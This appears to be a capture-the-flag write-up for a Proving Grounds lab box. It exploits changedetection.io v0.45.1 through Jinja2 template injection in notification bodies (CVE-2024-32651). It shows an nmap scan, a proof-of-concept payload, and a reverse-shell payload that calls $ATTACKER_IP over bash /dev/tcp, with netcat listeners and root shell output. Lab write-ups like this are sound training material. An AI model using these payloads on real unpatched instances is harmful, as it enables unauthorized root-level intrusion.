Skip to content

Detection Writeup - Proving Grounds

Easy Linux

Created October 7, 2026 • Last updated October 7, 2026 • 2 min read

Detection hosts changedetection.io v0.45.1 on port 5000 with no authentication. The notification system renders Jinja2 templates without sandboxing, which allows server-side template injection in the notification body (CVE-2024-32651). The application runs as root, so the SSTI yields a direct root shell with no privilege escalation.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
5000/tcp open  http    Python http.server (changedetection.io)
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

SSH on 22 and a web application on 5000. Browsing to http://$TARGET_IP:5000 reveals changedetection.io v0.45.1, an open-source web page change monitor, with no authentication enabled: any visitor has full admin access to watches, settings, and notifications.

Exploitation

Jinja2 SSTI via notification body (CVE-2024-32651)

changedetection.io renders notification body templates through Jinja2 render_template_string() without a sandbox. Point an existing watch at the application itself so it is reachable (external URLs fail, the box has no DNS), then inject an SSTI payload in the Notifications tab.

┌──(kali㉿kali)-[~]
└─$ # Watch URL (self-referencing so it is fetchable)
┌──(kali㉿kali)-[~]
└─$ http://127.0.0.1:5000

Set the notification body to a proof-of-concept payload.

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Set the notification URL to a json:// endpoint on the listener, start a listener, then click Recheck twice so the page content changes and the notification fires.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
{
  "title": "ChangeDetection.io Notification - http://127.0.0.1:5000",
  "message": "uid=0(root) gid=0(root) groups=0(root)",
  "type": "info"
}
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.

The rendered output returns uid=0(root), confirming code execution as root. Swap the notification body for a reverse shell payload.

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1"').read() }}

Start a fresh listener and trigger another recheck.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
root@detection:/# id
uid=0(root) gid=0(root) groups=0(root)

The application runs as root, so the SSTI gives a direct root shell. No privilege escalation is required.

References